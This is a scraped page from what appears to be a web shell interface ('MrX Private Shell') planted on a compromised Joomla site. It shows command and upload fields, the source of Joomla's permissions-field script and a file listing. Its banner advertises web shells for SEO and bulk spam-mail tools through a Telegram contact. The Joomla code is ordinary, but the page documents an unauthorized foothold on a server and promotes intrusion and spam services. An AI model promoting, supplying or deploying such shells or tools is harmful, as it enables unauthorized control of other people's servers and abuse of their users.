__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @copyright  (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */
window.customElements.define('joomla-field-permissions', class extends HTMLElement {
  constructor() {
    super();
    if (!Joomla) {
      throw new Error('Joomla API is not properly initiated');
    }
    if (!this.getAttribute('data-uri')) {
      throw new Error('No valid url for validation');
    }
    this.query = window.location.search.substring(1);
    this.buttons = '';
    this.buttonDataSelector = 'data-onchange-task';
    this.onDropdownChange = this.onDropdownChange.bind(this);
    this.getUrlParam = this.getUrlParam.bind(this);
    this.component = this.getUrlParam('component');
    this.extension = this.getUrlParam('extension');
    this.option = this.getUrlParam('option');
    this.view = this.getUrlParam('view');
    this.asset = 'not';
    this.context = '';
  }

  /**
   * Lifecycle
   */
  connectedCallback() {
    this.buttons = document.querySelectorAll(`[${this.buttonDataSelector}]`);
    if (this.buttons) {
      this.buttons.forEach(button => {
        button.addEventListener('change', this.onDropdownChange);
      });
    }
  }

  /**
   * Lifecycle
   */
  disconnectedCallback() {
    if (this.buttons) {
      this.buttons.forEach(button => {
        button.removeEventListener('change', this.onDropdownChange);
      });
    }
  }

  /**
   * Lifecycle
   */
  onDropdownChange(event) {
    event.preventDefault();
    const task = event.target.getAttribute(this.buttonDataSelector);
    if (task === 'permissions.apply') {
      this.sendPermissions(event);
    }
  }
  sendPermissions(event) {
    const {
      target
    } = event;

    // Set the icon while storing the values
    const icon = document.getElementById(`icon_${target.id}`);
    icon.removeAttribute('class');
    icon.setAttribute('class', 'joomla-icon joomla-field-permissions__spinner');

    // Get values add prepare GET-Parameter
    const {
      value
    } = target;
    if (document.getElementById('jform_context')) {
      this.context = document.getElementById('jform_context').value;
      [this.context] = this.context.split('.');
    }
    if (this.option === 'com_config' && !this.component && !this.extension) {
      this.asset = 'root.1';
    } else if (!this.extension && this.view === 'component') {
      this.asset = this.component;
    } else if (this.context) {
      if (this.view === 'group') {
        this.asset = `${this.context}.fieldgroup.${this.getUrlParam('id')}`;
      } else {
        this.asset = `${this.context}.field.{this.getUrlParam('id')}`;
      }
      this.title = document.getElementById('jform_title').value;
    } else if (this.extension && this.view) {
      this.asset = `${this.extension}.${this.view}.${this.getUrlParam('id')}`;
      this.title = document.getElementById('jform_title').value;
    } else if (!this.extension && this.view) {
      this.asset = `${this.option}.${this.view}.${this.getUrlParam('id')}`;
      this.title = document.getElementById('jform_title').value;
    }
    const id = target.id.replace('jform_rules_', '');
    const lastUnderscoreIndex = id.lastIndexOf('_');
    const permissionData = {
      comp: this.asset,
      action: id.substring(0, lastUnderscoreIndex),
      rule: id.substring(lastUnderscoreIndex + 1),
      value,
      title: this.title
    };

    // Remove JS messages, if they exist.
    Joomla.removeMessages();

    // Ajax request
    Joomla.request({
      url: this.getAttribute('data-uri'),
      method: 'POST',
      data: JSON.stringify(permissionData),
      perform: true,
      headers: {
        'Content-Type': 'application/json'
      },
      onSuccess: data => {
        let response;
        try {
          response = JSON.parse(data);
        } catch (e) {
          console.error(e);
        }
        icon.removeAttribute('class');

        // Check if everything is OK
        if (response.data && response.data.result) {
          icon.setAttribute('class', 'joomla-icon joomla-field-permissions__allowed');
          const badgeSpan = target.parentNode.parentNode.nextElementSibling.querySelector('span');
          badgeSpan.removeAttribute('class');
          badgeSpan.setAttribute('class', response.data.class);
          badgeSpan.innerHTML = Joomla.sanitizeHtml(response.data.text);
        }

        // Render messages, if any. There are only message in case of errors.
        if (typeof response.messages === 'object' && response.messages !== null) {
          Joomla.renderMessages(response.messages);
          if (response.data && response.data.result) {
            icon.setAttribute('class', 'joomla-icon joomla-field-permissions__allowed');
          } else {
            icon.setAttribute('class', 'joomla-icon joomla-field-permissions__denied');
          }
        }
      },
      onError: xhr => {
        // Remove the spinning icon.
        icon.removeAttribute('style');
        Joomla.renderMessages(Joomla.ajaxErrorsMessages(xhr, xhr.statusText));
        icon.setAttribute('class', 'joomla-icon joomla-field-permissions__denied');
      }
    });
  }
  getUrlParam(variable) {
    const vars = this.query.split('&');
    let i = 0;
    for (i; i < vars.length; i += 1) {
      const pair = vars[i].split('=');
      if (pair[0] === variable) {
        return pair[1];
      }
    }
    return false;
  }
});

Filemanager

Name Type Size Permission Actions
calendar-locales Folder 0775
calendar.js File 41.2 KB 0664
calendar.min.js File 24.52 KB 0664
calendar.min.js.gz File 6.77 KB 0664
color-field-adv-init.js File 1.09 KB 0664
color-field-adv-init.min.js File 788 B 0664
color-field-adv-init.min.js.gz File 430 B 0664
joomla-field-color-slider.js File 17.61 KB 0664
joomla-field-color-slider.min.js File 7.71 KB 0664
joomla-field-color-slider.min.js.gz File 2.64 KB 0664
joomla-field-fancy-select.js File 12.64 KB 0664
joomla-field-fancy-select.min.js File 6.06 KB 0664
joomla-field-fancy-select.min.js.gz File 2 KB 0664
joomla-field-media.js File 12.52 KB 0664
joomla-field-media.min.js File 8.14 KB 0664
joomla-field-media.min.js.gz File 2.41 KB 0664
joomla-field-module-order.js File 3.98 KB 0664
joomla-field-module-order.min.js File 2.4 KB 0664
joomla-field-module-order.min.js.gz File 1.04 KB 0664
joomla-field-permissions.js File 5.32 KB 0664
joomla-field-permissions.min.js File 3.43 KB 0664
joomla-field-permissions.min.js.gz File 1.29 KB 0664
joomla-field-send-test-mail.js File 2.49 KB 0664
joomla-field-send-test-mail.min.js File 1.49 KB 0664
joomla-field-send-test-mail.min.js.gz File 688 B 0664
joomla-field-simple-color.js File 12.69 KB 0664
joomla-field-simple-color.min.js File 7.44 KB 0664
joomla-field-simple-color.min.js.gz File 2.88 KB 0664
joomla-field-subform.js File 18.37 KB 0664
joomla-field-subform.min.js File 7.89 KB 0664
joomla-field-subform.min.js.gz File 2.44 KB 0664
joomla-field-user.js File 4.29 KB 0664
joomla-field-user.min.js File 2.84 KB 0664
joomla-field-user.min.js.gz File 1001 B 0664
joomla-media-select.js File 20.53 KB 0664
joomla-media-select.min.js File 14.54 KB 0664
joomla-media-select.min.js.gz File 3.42 KB 0664
modal-content-select-field.js File 5.67 KB 0664
modal-content-select-field.min.js File 2.57 KB 0664
modal-content-select-field.min.js.gz File 1.16 KB 0664
modal-fields.js File 6.91 KB 0664
modal-fields.min.js File 2.75 KB 0664
modal-fields.min.js.gz File 909 B 0664
passwordstrength.js File 6.39 KB 0664
passwordstrength.min.js File 2.73 KB 0664
passwordstrength.min.js.gz File 1.13 KB 0664
passwordview.js File 2.76 KB 0664
passwordview.min.js File 1.21 KB 0664
passwordview.min.js.gz File 600 B 0664
select-colour.js File 1.33 KB 0664
select-colour.min.js File 783 B 0664
select-colour.min.js.gz File 401 B 0664
tag.js File 2.09 KB 0664
tag.min.js File 1.05 KB 0664
tag.min.js.gz File 528 B 0664
validate.js File 22.93 KB 0664
validate.min.js File 8.37 KB 0664
validate.min.js.gz File 3.11 KB 0664
Filemanager